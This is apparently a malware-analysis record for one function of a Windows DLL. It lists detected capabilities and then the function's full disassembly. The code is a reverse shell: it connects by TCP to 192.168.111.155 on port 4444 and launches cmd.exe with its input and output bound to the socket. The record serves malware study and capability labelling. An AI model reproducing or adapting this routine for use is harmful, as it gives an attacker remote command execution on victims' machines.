Function at 0x18001136b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
jmp 0x180011700
push rbp
push rsi
push rdi
sub rsp, 0xad0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x1e0
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x18001d008]
xor rax, rbp
mov qword [rbp + 0xa78], rax
lea rcx, [0x180022008]
call fcn.18001130c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x60]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rbp + 8], rax
mov eax, 2
mov word [rbp + 0x28], ax
lea r8, [rbp + 0x2c]
lea rdx, str.192.168.111.155
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
mov cx, 0x115c
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x2a], ax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
jne 0x1800117fd
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x180011994
mov r8d, 0x400
xor edx, edx
lea rcx, [rbp + 0x220]
call fcn.180011271
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x220]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x634], eax
cmp dword [rbp + 0x634], 0
jg 0x18001184f
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x180011994
lea rax, [rbp + 0x658]
lea rcx, str.C:WINDOWSSystem32cmd.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x38
rep movsb byte [rdi], byte [rsi]
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x6b0]
call fcn.180011271
mov dword [rbp + 0x6b0], 0x68
mov dword [rbp + 0x6ec], 0x101
mov rax, qword [rbp + 8]
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov qword [rbp + 0x700], rax
lea rax, [rbp + 0x738]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x6b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x658]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x738]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x738]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x740]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x400
xor edx, edx
lea rcx, [rbp + 0x220]
call fcn.180011271
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x220]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_recv]
mov dword [rbp + 0x764], eax
cmp dword [rbp + 0x764], 0
jg 0x180011981
mov rcx, qword [rbp + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.exit_n
lea rcx, [rbp + 0x220]
call fcn.180011375
lea rcx, [rbp - 0x50]
lea rdx, [0x18001a8b8]
call fcn.1800112ad
mov rcx, qword [rbp + 0xa78]
xor rcx, rbp
call fcn.18001117c
lea rsp, [rbp + 0xa80]
pop rdi
pop rsi
pop rbp
ret